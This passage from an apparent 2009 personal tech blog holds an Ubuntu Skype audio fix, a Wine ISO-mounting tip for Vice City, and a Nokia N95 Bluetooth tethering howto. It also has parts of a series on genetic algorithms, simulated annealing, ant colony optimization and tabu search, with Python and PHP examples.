CHOICE NR 3938: 10 26 25 41 37 36

Solution found:
Plane 0:
3 3 2 7
3 3 2 7
0 0 2 7
1 0 0 0
Plane 1:
3 2  2  7
8 10 10 6
1 1  1  6
1 11 4  6
Plane 2:
8  5  2  7
8  8  10 6
8  9  10 10
11 11 4  4
Plane 3:
5 5  5  5
9 8  6  6
9 9  11 4
9 11 11 4

Which looks like this:

Ha, gotcha! If we would use Dancing Links as well, and a faster/better suited language, this would go even faster.

Ubuntu Jauntu: Skype Worked Before, Now: "Problem with audio capture"

2009-04-28T03:01:00.002+02:00

There are two things I currently not like about Ubuntu or Linux in general: the whole sound mess, and the whole graphics mess (but both are getting better). This problem is about the first mess.

Skype was working perfectly in Interprid, now in Jaunty it was telling me that there was a "Problem with audio capture". I tested Ubuntu's sound-recorder as well, which was not working either.

I'm using the default, normal Skype from the Medibuntu repo's!

Let's take a look at all the different factors here. First of all, open System → Preferences → Sound. Mine looks like this:

Sound Events - Sound playback: Autodetect
Music and Movies - Sound playback: Autodetect
Audio Conferencing

Sound playback: Autodetect
Sound capture: ALSA - Advanced Linux Sound Architecture, in your case, this may say PulseAudio Sound Server here. However, I have noticed that ALSA seems to record better sound (less garbled, especially with slower computers). Since we're not doing anything unusual with recorded sound (client-server, multiple inputs), I suggest you also pick ALSA here.

Now right click the sound icon in the panel and pick "Open Volume Control". My device says "HDA Intel (Alsa mixer)". You'll probably need the Alsa mixer as well. I have a few sliders I have to play with:

In the Playback-tab (yes, here!): Mic Boost
In the Recording-tab: Capture
In the Switches-tab: make sure Microphone Capture is enabled! This was disabled after my Jaunty upgrade. If you're not seeing any relevant sliders or checkboxes, click the Preferences-button and enable all relevant sliders/switches.

Now open sound-recorder. You should be able to record sound now. Also, start pavucontrol, and click the Input Devices-tab, the level meter should respond to you clapping your hands for example.

Hear yourself? No, then try fiddling again with the settings in the previously opened windows before you continue!

Yes, good, onwards to Skype. Try making a test call. In my case, Skype was still complaining about the audio capture. Let's open Skype's options → Sound Devices.

In my case, the options were:

Sound In: HDA Intel (hw:Intel,0)
Sound Out: pulse
Ringing: pulse

Which was working in Intrepid. If you suffer the same problem, read on...

A sidenote, your Sound In device might be either pulse or default as well. There are a few cases when you should use these:

default: if you've succesfully changed configuration files to make the correct devices the default ones. This will almost never be the case.
pulse: if you're using PulseAudio server for the Sound Capture. But even then, I don't recommend it. Using pulse for Sound In often crashes Skype on my machine...

Again, provided when you use a normal Skype (non static, non OSS).

Your Sound Out/Ringing devices are already correct, they need to be pulse. Sound In will be set to an hw-device.

Before reading further, try making a test call with every listed hw-device (I had four, you can have more or less).

If none of them are working or if you're sure which hw-device you need (and it isn't working), try this: edit /etc/pulse/daemon.conf (don't forget to sudo) and make sure the following lines are present and uncommented, with the following values:

default-fragments = 8
default-fragment-size-msec = 5

This is an optional step however, but it seems to help with the Skype sound quality (an other option is setting default-fragment-size-msec to 10).

(!) Now, edit ~/.asoundrc (no need to be root here, it's a file in your home directory). And make sure the following lines are there:

pcm.pulse { type pulse }
ctl.pulse { type pulse }

Which I totally did in Hardy as well! The update must've deleted them. This simple file seemed to do the trick!

Then, just to be sure, I reinstalled the libasound2-plugins package.

Reboot, or restart pulseaudio (kill it, then start it in i.e. a Terminal window). Restart Skype. Skype was working fine now. If it is not, make sure you try every plughw-device.

Still not working, no matter how much you try? You're out of luck. If sound-recorder and sound playback is working, you can try an emergency solution. Install the static, OSS version of Skype (you can find it with Medibuntu or floating around in a tarball somewhere). and start it with:

padsp skype

To route the sounds through the PulseAudio sink. Sound devices in this Skype should all be set to default (or OSS). Calls should work now. Be warned though: always try this as a last resort, routing OSS sound through PulseAudio is slow and bloated, ugly and old. Your record voice will sound like... well, crap.

Vice City (And Perhaps Other Games) In Wine - CD Error With ISO

2009-04-28T02:28:00.001+02:00

So, you've just gotten yourself two .iso's for Grand Theft Auto: Vice City (your backups, of course), which you want to play in Wine. What do you do?

That's easy, you say:

sudo mkdir /media/isoimage
sudo mount -o loop ./cd1.iso /media/isoimage

And start the setup with Wine.

Now the installer asks for the second CD, what do you do? Here we have to "eject" our "cd" first...

wine eject
sudo umount /media/isoimage
sudo mount -o loop ./cd2.iso /media/isoimage

And we're done. You want to start the game, but it requires the play disk, even although you're sure you've mounted it. Thing is, Vice City isn't looking at your /media/isoimage mount point, but it's looking at your drive letters... where could the cd be?

Take a look in ~/.wine/dosdevices (it's a hidden directory in your home folder). We're going to create two symbolic links there (in my case, there were a lot of symbolic, broken links already there, I deleted every one of them except c: and z:). One for the mount point, and one for the actual device (or in our case: the image).

ln -sf /media/isoimage ~/.wine/dosdevices/e:
ln -sf ~/cd2.iso ~/.wine/dosdevices/e::

Note the double colons (e::) in the second line. That's it, the game should start fine now.

Be sure to replace /media/isoimage, e:, e::, ~/cd1.iso, ~/cd2.iso and other displayed paths/locations with the ones relevant for you.

Modern Genetic (And Other) Algorithms Explained: Part 7 - Conclusion

2009-02-05T18:20:00.002+01:00

(This is the final part in the Modern Genetic Algorithms Explained series, click here to go to the first post, or browse through all the parts with the Table Of Contents at the end of this post.)

In the past series, we have looked at genetic algorithms, simulated annealing, ant colony simulation and tabu search. Each method had its pro's and cons, and there certainly is room for exploration left.

I hope you've enjoyed this series, or that it has at least sparked your interest in the topic.

Here are a few more (general resources), if you want to know more:

Other related techniques:

Evolutionary programming
Genetic programming
Harmony search - this is interesting: it's based on how musicians compose music, also see this website
Memetic algorithms - a very new and interesting area in evolutionary optimization. It combines a genetic algorithm to the ability of learning (hence the name: "memes")
And many more...

Books:

A specialized event was held in the USA: Foundations Of Genetic Algorithms. You can find a lot of interesting information on their website.

Finally, I want to mention a software project which looks promising: Paradiseo:

A white-box object-oriented framework, portable (Windows, Unix and MacOS), dedicated to the flexible design of metaheuristics: solution-based metaheuristics (Local search, Simulated annealing, Iterated local search, Tabu search, ...) and population-based metaheuristics (Genetic algorithm, Particle swarm optimization, Evolution strategy, Differential evolution algorithms, ...).

-----

Table Of Contents (click a link to jump to that post)

1. Introduction

2. Genetic Algorithms

3. CHC Eshelman

4. Simulated Annealing

5. Ant Colony Optimization

6. Tabu Search

7. Conclusion

Modern Genetic (And Other) Algorithms Explained: Part 6 - Tabu Search

2009-01-29T13:44:00.002+01:00

(This is part 6 in the Modern Genetic Algorithms Explained series, click here to go to the first post, or browse through all the parts with the Table Of Contents at the end of this post.)

Tabu search is not really "modern" anymore, but still widely used nonetheless.

The pseudocode looks like this:

Construct an initial solution
Until timelimit hit or satisfiable solution found do:
    Find all neighbours which are not in the tabu list, and calculate their score
    Pick the best neighbour, add the previous solution to the tabu list

Notice that the "best neighbour" must not be better than the current solution, or than the ever best found solution.

Maintaining a tabu list can be time and memory consuming, alternatively we could construct a list like this: add the difference between two following solutions to the list (so that they cannot be undone), and keep it in the list for n iterations. N, or the length of the list is important: make it too long and the algorithm might get stuck, make it too short and the algorithm will tend towards local maxima.

This time, I've coded the example in PHP, I hope nobody minds:

$target = 300;

//construct an initial solution
$tabulist = array('ttl' => array(), 'change' => array());
$solution = array();
$min = 0;
$max = 100;
for ($i=0;$i<6;$i++)
    $solution[] = rand($min,$max);
   
//until solution found
while (true){
    $best_neighbour_solution = false;
    $best_neighbour_score = 1000;
    $best_neighbour_tabu = false;
    for ($position=0;$position<6;$position++){
        if (!in_array("$position+",$tabulist['change'])
                and $solution[$position] < $max){
            $temp_solution = $solution;
            $temp_solution[$position]++;
            $score = fitness($temp_solution,$target);
            if ($score < $best_neighbour_score){
                $best_neighbour_score = $score;
                $best_neighbour_solution = $temp_solution;
                //make sure this step doesn't get undone
                $best_neighbour_tabu = "$position-";
            }
        }
        if(!in_array("$position-",$tabulist['change'])
                and $solution[$position] > $min){
            $temp_solution = $solution;
            $temp_solution[$position]--;
            $score = fitness($temp_solution,$target);
            if ($score < $best_neighbour_score){
                $best_neighbour_score = $score;
                $best_neighbour_solution = $temp_solution;
                //make sure this step doesn't get undone
                $best_neighbour_tabu = "$position+";
            }
        }
    }
    //pick the best neighbour
    $solution = $best_neighbour_solution;
    $fitness = fitness($solution,$target);
    echo "Iteration $iterations: fitness = $fitness\n";
    if ($fitness == 0){
        echo "Perfect solution found:\n";
        print_r($solution);
        die;
    }
    //add change to tabu list
    $tabulist['ttl'][$iterations] = 5; //remember for 5 iteration
    $tabulist['change'][$iterations] = $best_neighbour_tabu;
    //update the tabulist
    foreach ($tabulist['ttl'] as $key => &$val){
        $val--;
        if ($val <= 0){
            unset($tabulist['ttl'][$key]);
            unset($tabulist['change'][$key]);
        }
    }
    echo "Iteration $iterations: tabulist now contains "
        .count($tabulist['ttl'])." items \n";
    $iterations++;
}


function fitness($array, $target){
    return abs(array_sum($array)-$target);
}

The neighbour calculation could be done a little better (there's a bit of ugly duplicate code), but the following output is given:

Iteration : fitness = 57
Iteration : tabulist now contains 1 items
Iteration 1: fitness = 56
Iteration 1: tabulist now contains 2 items
Iteration 2: fitness = 55
Iteration 2: tabulist now contains 3 items
Iteration 3: fitness = 54
Iteration 3: tabulist now contains 4 items
Iteration 4: fitness = 53
Iteration 4: tabulist now contains 4 items
Iteration 5: fitness = 52
Iteration 5: tabulist now contains 4 items
...
Iteration 55: tabulist now contains 4 items
Iteration 56: fitness = 1
Iteration 56: tabulist now contains 4 items
Iteration 57: fitness = 0
Perfect solution found:
Array
(
    [0] => 66
    [1] => 14
    [2] => 20
    [3] => 99
    [4] => 14
    [5] => 87
)

With this sample problem, such an output was, of course, expected. Notice that I've used the second method of keeping a tabulist.

This post concludes this series, we only have one post to go, with a general conclusion.

-----

Table Of Contents (click a link to jump to that post)

1. Introduction

2. Genetic Algorithms

3. CHC Eshelman

4. Simulated Annealing

5. Ant Colony Optimization

6. Tabu Search

7. Conclusion

Modern Genetic (And Other) Algorithms Explained: Part 5 - Ant Colony Optimization

2009-01-22T18:02:00.005+01:00

(This is part 5 in the Modern Genetic Algorithms Explained series, click here to go to the first post, or browse through all the parts with the Table Of Contents at the end of this post.)

First, let's go to Wikipedia for a definition:

The ant colony optimization algorithm (ACO), is a probabilistic technique for solving computational problems which can be reduced to finding good paths through graphs.

This algorithm is a member of Ant colony algorithms family, in Swarm intelligence methods, and it constitutes some metaheuristic optimizations. Initially proposed by Marco Dorigo in 1992 in his PhD thesis [1] [2] , the first algorithm was aiming to search for an optimal path in a graph; based on the behavior of ants seeking a path between their colony and a source of food. The original idea has since diversified to solve a wider class of Numerical problems, and as a result, several problems have emerged, drawing on various aspects of the behavior of ants.

"Good paths through graphs". I have not converted our sample problem from the previous posts to a graphing problem. So no Python sample this time, sorry.

You do get to see some pseudocode though:

Given a number of nodes
Given some edges between nodes (paths)
Given BT := {}, this will contain our best tour
Randomly construct a tour T
Create a number of "ants" (often equal to number of nodes)
Associate a distance, pheromone value, and delta pheromone value to every edge
Iterate until time limit hit or satisfiable solution found:
  For each ant do:
    Do until tour constructed:
    Next node is chosen depending on visibility (e.g. 1/distance) and pheromone trail
    E.g. choose next node with probability (visibility^a)*(pheromone trail^b)
    Calculate fitness of this tour
    Copy this tour to the best tour if fitness is better
    Update the pheromone trail of each edge of this ant's tour:
    E.g. delta pheromone for edge := 1/(tour cost)
  For each edge:
    Lower pheromone value by a factor
    Add delta pheromone value to pheromone value
    Set delta pheromone := 0

ACO is a very interesting method, again, we see certain aspects already used in the previous posts, like using pheromone trails to avoid local maxima. Since the algorithm is closely tied to graphs, nodes and paths, it's no wonder it's often used to find shortest paths, or to solve the travelling salesman problem.

There are some interesting links on the Wikipedia page, one of them is this application:

After a while, an ant finds a path to the food and places pheromones:

Those who are interested can read more about Swarm intelligence or Particle swarm optimization.

-----

Table Of Contents (click a link to jump to that post)

1. Introduction

2. Genetic Algorithms

3. CHC Eshelman

4. Simulated Annealing

5. Ant Colony Optimization

6. Tabu Search

7. Conclusion

Modern Genetic (And Other) Algorithms Explained: Part 4 - Simulated Annealing

2009-01-19T23:07:00.009+01:00

(This is part 4 in the Modern Genetic Algorithms Explained series, click here to go to the first post, or browse through all the parts with the Table Of Contents at the end of this post.)

First of all: Simulated Annealing is not a genetic algorithm, but it is a modern optimization technique.

Wikipedia tells us the following:

Simulated annealing (SA) is a generic probabilistic meta-algorithm for the global optimization problem, namely locating a good approximation to the global minimum of a given function in a large search space. It is often used when the search space is discrete (e.g., all tours that visit a given set of cities). For certain problems, simulated annealing may be more effective than exhaustive enumeration — provided that the goal is merely to find an acceptably good solution in a fixed amount of time, rather than the best possible solution.

The name and inspiration come from annealing in metallurgy, a technique involving heating and controlled cooling of a material to increase the size of its crystals and reduce their defects. The heat causes the atoms to become unstuck from their initial positions (a local minimum of the internal energy) and wander randomly through states of higher energy; the slow cooling gives them more chances of finding configurations with lower internal energy than the initial one.

Let's take a look at some pseudocode:

Randomly construct a valid solution
For each temperature do:
  For number of trials to do at each temperature do:
    Move solution to a neighbour
    Accept neighbour with probability(old_score, new_score, temperature)
    Lower the temperature by a reduction factor

It becomes clear that this method can be used in discrete optimization problems only, so that we can construct neighbours from our current state. E.g., a first solution in the problem we've been discussing might be [10,51,5,18] with a neighbour [10,52,5,18].

Also, a probability function needs to be defined. Some functions are constructed so that better solutions will always be accepted. Ideally, we would always like to assign a certain probability, so that worse solutions have a chance of being accepted too (or better ones have a chance at rejection). Again: this is to avoid local maxima (comparable with GA's).

Often, the new solution is accepted with an exponential distribution: exp( (new_score-old_score)/temperature ).

Note: the pseudocode at the Wikipedia page doesn't use trials, for some problems, this is good enough.

Let's see some Python code (again, based on the code mentioned in the previous posts):

from random import randint, random
from operator import add
from math import *

def individual(length, min, max):
  'Create a member of the population.'
  return [ randint(min,max) for x in xrange(length) ]

def fitness(individual, target):
  """
  Determine the fitness of an individual. Higher is better.
  individual: the individual to evaluate
  target: the target number individuals are aiming for
  """
  sum = reduce(add, individual, 0)
  return abs(target-sum)

def probability(o_fitness, n_fitness, temperature):
  if n_fitness < o_fitness:
    return 1
  return exp( (n_fitness-o_fitness) / temperature)

def temperature(step, max_steps):
  return max_steps - step

def neighbour(ind, min, max):
  pos_to_mutate = randint(0, len(ind)-1)

  if random() < 0.5:
    ind[pos_to_mutate] -= 1
  else:
    ind[pos_to_mutate] += 1

  if ind[pos_to_mutate] < min:
    ind[pos_to_mutate] = min
  elif ind[pos_to_mutate] > max:
    ind[pos_to_mutate] = max

  return ind

def evolve(ind, nr_trials, step, max_steps, min, max, target):
  best_fit = 10000;
  for i in range(1,nr_trials):
    n_ind = neighbour(ind, min, max)
    o_fitness = fitness(ind,target)
    n_fitness = fitness(n_ind,target)

  if n_fitness < best_fit:
    best_fit = n_fitness

  #move to new state?
  if probability(o_fitness, n_fitness, temperature(step,max_steps)) >= random():
    ind = n_ind
    print "Best fitness this evolution:",best_fit
    print "Temperature this evolution:",temperature(step,max_steps)

  return ind

If the fitness of the neighbour is better (remember: that means lower), we immediately accept it. We don't really need a chance of rejection for this problem. Otherwise, we use exp( (n_fitness-o_fitness) / temperature).
We use a separate function to calculate the temperature for each step. This function is kept fairly simple (max steps - this step), but non-linear temperature can also be implemented.

Let's try it, our starting temperature becomes 100, using 1000 trials per temperature:

import sys
sys.path.append("C:\Users\Seppe\Desktop")
from annealing import *
target = 300
i_length = 6
i_min = 0
i_max = 100
i = individual(i_length, i_min, i_max)
print fitness(i, target)
i_k = 0
i_kmax = 100
i_trials = 1000
while i_k < i_kmax:
  i = evolve(i, i_trials, i_k, i_kmax, i_min, i_max, target)
  i_k += 1

The output:

Best fitness this evolution: 34
Temperature this evolution: 100
Best fitness this evolution: 7
Temperature this evolution: 99
Best fitness this evolution: 0
Temperature this evolution: 98
Best fitness this evolution: 44
Temperature this evolution: 97
Best fitness this evolution: 43
Temperature this evolution: 96
Best fitness this evolution: 33
Temperature this evolution: 95
Best fitness this evolution: 39
Temperature this evolution: 94
Best fitness this evolution: 44
Temperature this evolution: 93
Best fitness this evolution: 34
Temperature this evolution: 92
Best fitness this evolution: 36
Temperature this evolution: 91
Best fitness this evolution: 50
Temperature this evolution: 90
Best fitness this evolution: 68
Temperature this evolution: 89
Best fitness this evolution: 67
Temperature this evolution: 88
Best fitness this evolution: 53
Temperature this evolution: 87
Best fitness this evolution: 49
Temperature this evolution: 86
Best fitness this evolution: 35
Temperature this evolution: 85
Best fitness this evolution: 55
Temperature this evolution: 84
Best fitness this evolution: 5
Temperature this evolution: 83
Best fitness this evolution: 0

Simulated annealing is easy to program and implement. Provided it is easy to construct neighbours, and a sensible combination of temperature and probability functions can be constructed, and the number of trials is well defined. Still: this method might be too naive to solve more difficult problems.

The source code can be downloaded here.

An interesting implementation is this. It is based on another genetic programming experiment located here (both are very interesting and fun examples, I highly recommend reading them).

Another Java applet to look at: solving a travelling salesman problem with simulated annealing.

-----

Table Of Contents (click a link to jump to that post)

1. Introduction

2. Genetic Algorithms

3. CHC Eshelman

4. Simulated Annealing

5. Ant Colony Optimization

6. Tabu Search

7. Conclusion

Testing CSS For Code Tag

2009-01-19T23:01:00.003+01:00

Just ignore this... I'm testing the CSS for my code.

.code{
width: 464px;
overflow: auto;
background: #f8f8f8;
border-right: 1px dashed #e6e6e6;
border-top: 1px dashed #e6e6e6;
border-bottom: 1px dashed #e6e6e6;
border-left: 4px solid #e6e6e6;
margin-left: 10px;
padding: 4px;
}

pre,code,tt {
font: 'Liberation Mono', 'lucida console', 'courier new', monospace;
line-height:1.5;
}

Nokia N95, 3G, Bluetooth, And Ubuntu Intrepid - 3G Tethering Howto

2009-01-16T15:47:00.014+01:00

The following steps are instructions to surf the web using a Nokia N95 with 3G, connected to your Intrepid laptop via Bluetooth.

1. Make sure you have the required packages installed:

sudo apt-get install bluez-utils bluez-pin ppp

2. Find out the phone's MAC address. Enable Bluetooth on phone and laptop, and enter the following command:

hcitool scan

Output example:

$ hcitool scan
Scanning ...
00:1C:9A:26:F5:DD Macuyiko N95

And note your MAC-address of your phone.

3. Find out the phone's channel, with the N95, this might change from time to time:

sdptool search --bdaddr MAC DUN | grep Channel

Replace MAC with your phone's MAC address.

Output example:

$ sudo sdptool search --bdaddr 00:1C:9A:26:F5:DD DUN | grep Channel
Channel: 4

Note this channel.

4. Edit /etc/ppp/peers/BluetoothDialup:

sudo gedit /etc/ppp/peers/BluetoothDialup

Paste the following:

/dev/rfcomm1 115200
local
nocrtscts
connect "/usr/sbin/chat -v -f /etc/chatscripts/proximus-gprs"
noauth
defaultroute
usepeerdns
novj
remotename proximus
debug
#user
lcp-restart 5
ms-dns 195.238.2.21

There are a few lines which you might need to change. I'm using the Belgium Proximus operator.

First of all, change /etc/chatscripts/proximus-gprs to something more related to your provider (e.g.: /etc/chatscripts/myprovider-gprs). We're going to create this script in the next step. Also: you might need to change the ms-dns entry as well (in most cases you can leave it out, but I had to add it though). Also notice that I have used /dev/rfcomm1 as the used device, we'll use this in the next steps as well.

5. Create a chatscript at /etc/chatscripts/proximus-gprs

sudo gedit /etc/chatscripts/proximus-gprs

Note that you may have chosen a different name for your chatscript in the previous step. Paste:

ABORT BUSY
ABORT 'NO CARRIER'
ABORT VOICE
ABORT 'NO DIALTONE'
ABORT 'NO DIAL TONE'
ABORT 'NO ANSWER'
"" ATZ
OK AT+CGDCONT=1,"IP","internet.proximus.be"
OK ATDT*99#
CONNECT ""

Notice the bold entries? You need to change them for your provider. Look up your APN and data profile number. If you google for "APN 3g [yourprovider]" you will often find the correct results, or look here for APNs for many providers. The data profile number line will often be OK ATDT*99# or OK ATDT*99***1#, so try them both.

6. Try it out

Enter the following command:

rfcomm connect RFCOMM# MAC CHANNEL

Replace RFCOMM# with the /dev/rfcomm-number you've used before (only the number!), I've used 1. MAC is your phone's MAC adres again, and CHANNEL is the channel you found earlier.

If all went well it should say:

$ rfcomm connect 1 00:1C:9A:26:F5:DD 4
Connected /dev/rfcomm1 to 00:1C:9A:26:F5:DD on channel 4
Press CTRL-C for hangup

Now we're going to enable the PPP connection, in a new terminal window (keep the "CTRL-C for hangup"-one open), enter:

pon BluetoothDialup

BluetoothDialup is the filename of the file we have created in /etc/ppp/peers/ earlier in step 4.

If all went well you should see an entry now in your ifconfig output:

$ ifconfig
ppp0      Link encap:Point-to-Point Protocol
          inet addr:81.169.31.99  P-t-P:10.6.6.6  Mask:255.255.255.255
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1
          RX packets:3 errors:0 dropped:0 overruns:0 frame:0
          TX packets:4 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:3
          RX bytes:54 (54.0 B)  TX bytes:69 (69.0 B)

If you're done surfing the internet, turn off PPP:

poff

Press CTRL-C in that other terminal window to break the Bluetooth/3G-connection.

Note: if you've done something wrong (e.g.: used the wrong channel), you can release rfcomm's with:

rfcomm release RFCOMM#

With RFCOMM# equal to the /dev/rfcomm-number you've used before.

Optional steps: use gnome-ppp to connect

If you have gnome-ppp installed, you can also use a graphical interface to configure the above steps.

First of all, you still have to execute:

rfcomm connect RFCOMM# MAC CHANNEL

But you don't have to create the files from steps 4 and 5. We could automate the connect-step as well, but since the N95's channel changes from time to time, this wouldn't be very convenient. Also, I like having a terminal open to notify me that I'm still surfing via my phone.

Then open up gnome-ppp. If you have to enter a blank username and password for your provider, just enter some dummy values. I used "blank" and "blank" :).

Phone number: I tried *99***1# this time. And it also seemed to work, great!

Then press Setup. Enter the following values:

Device: /dev/rfcomm1 (or the other rfcomm you defined earlier)
Type: USB Modem (yes, USB!)
Speed: 460800 works here, this probably means I could have used this value in the previous configuration files as well, instead of 115200
Phone Line: Tone (default)
Volume: High (default)

Then press Init Strings.

Leave Init 2 unchanged (ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0)
Enter this in Init 3: AT+CGDCONT=1,"IP","internet.proximus.be"
Again, change this for your provider! I also had to manually define a DNS in the Networking tab, just like in the previous steps. This might not be the case for you.

You're done, make sure you're not wired or wirelessly connected to test this :).

Screenshot:

Final note: some people have to add novj to /etc/ppp/options as well. I didn't, tho. Check the Ubuntu forums/Google for information about your specific operator and/or hardware.

These instructions were only tested with my Thinkpad, my N95, and my operator. I've set up laptops with Vodafone cards before, and you can use gnome-ppp for those as well, just make sure you're using the correct device. Often the device will be at /dev/ttyS0, but use dmesg to find out the exact location.

Modern Genetic (And Other) Algorithms Explained: Part 3 - CHC Eshelman

2009-01-13T21:00:00.008+01:00

(This is part 3 in the Modern Genetic Algorithms Explained series, click here to go to the first post, or browse through all the parts with the Table Of Contents at the end of this post.)

In this part, we will look at a "special" genetic algorithm, CHC by Eshelman. The original paper is very hard to find, but it is mentioned in a lot of other works.

The pseudocode looks like this (thanks to the commenters for sorting some problems out):

Create initial population: P
L := length of an individual chromosome
N := population size
Threshold := 
Threshold := MutProb * (1.0-MutProb) * L (or L/4 is also used)
Evolution until timelimit hit or satisfiable solution found:
  CPop := {}
  For i := 1 to N/2 do:
    Choose two random parents: P1 and P2
    If (different bits between P1 an P2) / 2 > threshold do:
      Create children C1 and C2 using half-uniform crossover
      Add C1 and C2 to CPop

  If there are no children in Cpop:
    Threshold := threshold - 1
  Else:
    P := best N individuals from P and CPop

  If threshold < 0
    Cataclysmic creation of new population P
    
Threshold := MutProb * (1.0-MutProb) * L (or L/4 is also used)

There is another pseudocode description in the slides found here.

A few interesting remarks:
(1) N (population size) is almost always set to 50, but can range from 50 - 10000.
(2) The different bits between P1 and P2 can be defined as the hamming distance between them.
(3) Half uniform crossover swaps exactly half of the non-matching bits. However, often a uniform crossover is used, with a chance of 0.5 - 0.8 of swapping.
(4) MutProb is the mutation probability and originally set to 0.35 (35%).
(5) A "cataclysmic event" occurs when there are no children created for a certain period of time. New children can only be made between parents which are different enough. Basically this means: whenever the population converges towards a certain points, a cataclysm occurs.
(6) What this cataclysm will do depends on the actual implementation. Originally, and often, the following method is used: take the single best individual, and put it in the new population. Now, mutate each of its bits with a 35% chance, this will be the second individual. Repeat this to create a new population of size N. Sometimes, the mutation chance is set to a higher value.

My Python - again, based on the code found here - implementation looks as follows (the original problem was unchanged):

from random import randint, random
from operator import add

def individual(length, min, max):
  return [ randint(min,max) for x in xrange(length) ]

def population(count, length, min, max):
  return [ individual(length, min, max) for x in xrange(count) ]

def fitness(individual, target):
  sum = reduce(add, individual, 0)
  return abs(target-sum)

def grade(pop, target):
  summed = reduce(add, (fitness(x, target) for x in pop))
  return summed / (len(pop) * 1.0)

def hamming(ind1, ind2):
  nr_hamming = 0
  for x in range(0, len(ind1) - 1):
    if (ind1[x] != ind2[x]):
      nr_hamming += 1
  return nr_hamming

def cataclysm(pop, target, min, max):
  #keep the best individual, flip 35% of bits to get new individuals
  pop.sort (lambda x, y : cmp (fitness(x, target), fitness(y, target)))
  firstind = pop[0]
  newpop = [firstind]
  for x in range(1, len(pop)):
    nextind = firstind[:]
    for i in range(0, len(nextind)):
      if 0.35 > random():
        nextind[i] = randint(min, max)
    newpop.append(nextind)
  return newpop  

def hux(ind1, ind2):
  child_one = []
  child_two = []
  hamming_dist = hamming(ind1, ind2);
  nr_swaps = 0
  for x in range(0, len(ind1)):
    if (ind1[x] == ind2[x]) or (random > 0.5) or (nr_swaps > hamming_dist / 2):
      #same, just copy to both
      child_one.append(ind1[x])
      child_two.append(ind2[x])
    else:
      #different, swap with .5 probability, until hamming/2 swaps
      nr_swaps += 1
      child_one.append(ind2[x])
      child_two.append(ind1[x])
  return [child_one,child_two]

def evolve(pop, target, min, max, treshold):
  child_population = []
  for i in range(1, len(pop)/2):
    #choose two random parents:
    parent_one = pop[randint(0, len(pop)-1)]
    parent_two = pop[randint(0, len(pop)-1)]
    if (hamming(parent_one, parent_two)/2) > treshold[0]:
      #do hux crossover
      children = hux(parent_one, parent_two)
      child_population.append(children[0])
      child_population.append(children[1])
  if len(child_population) == 0:
    treshold[0]-=1;
    print "No children evolved"
  else:
    p_count = len(pop);
    print len(child_population),"children"
    for x in child_population:
      pop.append(x)
    pop.sort (lambda x, y : cmp (fitness(x, target), fitness(y, target)))
    #for x in pop:
    #    if fitness(x,target) == 0:
    #        print "Perfect individual found:",x
    pop = pop[:p_count]
    print len(pop),"new population, grade:", grade(pop, target)
  if treshold[0] < 0:
    pop = cataclysm(pop, target, min, max)
    print "Cataclysm, newpop length:",len(pop),"grade:",grade(pop,target)
    treshold[0] = len(pop[0]) / 4.0
    print "Treshold is now:",treshold[0]
  return pop

This reminds me: I should really work on a css class for code (update: done), instead of writing everything in monospace. A few remarks:
(1) The implementation is a bit hacky. Python passes everything by reference, except immutable objects. I wanted to pass treshold by reference, which did not work, it being a float and such. That's why I've wrapped it in a list.
(2) I'll use L/4 as the treshold; and I still use a 35% mutate rate, although we are not using bit encoded individuals, though we could set this a bit higher if we wanted.
(3) We do crossover by randomly swapping different values with a 0.5 chance, until half of the values are swapped. Probability-wise, this is not the same as randomly picking half of the different bits. This doesn't matter that much for this example, though.

Let's test it:

import sys
sys.path.append("C:\Users\Seppe\Desktop")
from chc_eshelman import *
target = 300
p_count = 50
i_length = 6
i_min = 0
i_max = 100
treshold = [i_length / 4.0]
p = population(p_count, i_length, i_min, i_max)
print "First grade: ",grade(p, target)
for i in range(0,100):
  p=evolve(p, target, i_min, i_max, treshold)

In the first run, it took two cataclysms to reach a completely perfect population (grade is the average score for the complete population, not for the best single individual, it might be possible to have a perfect individual in the first evolution, still, because this problem is so simple, we look at the complete population):

First grade:  66.88
48 children
50 new population, grade: 30.34
44 children
50 new population, grade: 18.92
48 children
50 new population, grade: 10.64
38 children
50 new population, grade: 6.68
40 children
50 new population, grade: 4.74
36 children
50 new population, grade: 3.84
12 children
50 new population, grade: 3.48
12 children
50 new population, grade: 3.12
6 children
50 new population, grade: 3.0
No children evolved
No children evolved
Cataclysm, newpop length: 50 grade: 48.24
Treshold is now: 1.5
46 children
50 new population, grade: 17.36
36 children
50 new population, grade: 7.8
32 children
50 new population, grade: 4.1
20 children
50 new population, grade: 2.76
14 children
50 new population, grade: 2.44
16 children
50 new population, grade: 2.12
22 children
50 new population, grade: 1.68
20 children
50 new population, grade: 1.28
18 children
50 new population, grade: 1.0
No children evolved
No children evolved
Cataclysm, newpop length: 50 grade: 48.86
Treshold is now: 1.5
40 children
50 new population, grade: 21.04
46 children
50 new population, grade: 5.3
36 children
50 new population, grade: 1.56
40 children
50 new population, grade: 0.38
32 children
50 new population, grade: 0.0

Another run only takes four evolutions to reach a perfect population, with a beautiful convergence:

First grade:  51.16
46 children
50 new population, grade: 24.26
46 children
50 new population, grade: 12.6
34 children
50 new population, grade: 5.78
38 children
50 new population, grade: 0.94
34 children
50 new population, grade: 0.0
20 children
50 new population, grade: 0.0

Sometimes however, the algorithm gets stuck in a loop:

...
18 children
50 new population, grade: 1.0
22 children
50 new population, grade: 1.0
24 children
50 new population, grade: 1.0
16 children
50 new population, grade: 1.0
26 children
50 new population, grade: 1.0
24 children
50 new population, grade: 1.0
24 children
50 new population, grade: 1.0
18 children
50 new population, grade: 1.0
18 children
50 new population, grade: 1.0
14 children
50 new population, grade: 1.0
16 children
50 new population, grade: 1.0
16 children
50 new population, grade: 1.0

This has something to do with the way the hamming distance is calculated. Sometimes, a pool of two different solutions will be made, but with more than one different values, thus this will always be above the hamming treshold, but will always create the same children, and the same resulting new population.

For example, the algorithm can get stuck in a pool with two types of parents:
1: [83, 19, 67, 64, 23, 44], sum 300 (the target was 300, so fitness: 300-300 = 0: perfect) 2: [38, 28, 67, 64, 6, 97], sum 300

Both are optimal (but the sum might also be both 299, or 299 and 301, etc)... Notice that the hamming distance between them is four, far above the treshold, thus the following children can be created:
[38, 28, 67, 64, 23, 44], sum 264 [38, 19, 67, 64, 6, 97], sum 291 [83, 28, 67, 64, 6, 44], sum 292 [83, 19, 67, 64, 6, 97], sum 336

However, these children all perform worse and will never be considered for the new population, and this is how we get stuck in a loop.

